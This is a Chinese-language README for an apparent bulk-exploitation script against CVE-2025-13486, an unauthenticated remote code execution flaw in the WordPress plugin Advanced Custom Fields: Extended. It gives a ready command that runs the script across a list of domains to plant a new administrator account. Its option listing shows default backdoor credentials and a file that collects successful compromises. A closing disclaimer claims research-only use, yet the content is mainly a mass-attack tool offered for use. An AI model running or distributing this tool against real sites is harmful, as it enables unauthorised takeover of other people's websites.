批量利用 CVE-2025-13486

Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - 在 prepare_form 中未经认证的远程代码执行

⚠️ 漏洞详情

WordPress 的 Advanced Custom Fields: Extended 插件在 0.9.0.5 至 0.9.1.1 版本中存在远程代码执行漏洞，问题出在 prepare_form() 函数。该函数接受用户输入并将其传递给 call_user_func_array()，因而容易受到攻击。这使得未经认证的攻击者能够在服务器上执行任意代码，进而可用于注入后门或创建新的管理员用户账户。

🚀 使用方法

从命令行运行脚本：

python CVE-2025-13486.py -l list.txt --email [email protected] --user new_user --password new_password

📝 选项

options:
  -u, --url URL         Single target WordPress site URL
  -l yourlist.txt
                        File containing list of domains/URLs
  --email, --email EMAIL
                        Email to set 
  --user USERNAME
                        Username to create (default: nemesis)
  --password PASSWORD
                        Password to set (default: Warga@Sipil1337)
  -o output.txt
                        Output file to save successful results (default: success_results.txt)

⚖️ 负责任披露与免责声明

• 本仓库仅供安全研究、测试和防御目的使用。
• 请勿针对您不拥有或未经明确授权测试的系统使用这些技术。
• 未经授权利用漏洞是非法且不道德的。
• 如果您是网站所有者并认为自己存在漏洞，请立即将插件/主题更新到最新版本或应用供应商补丁。
• 请仅在授权环境中使用此代码（实验室、客户批准的渗透测试或获得明确许可）。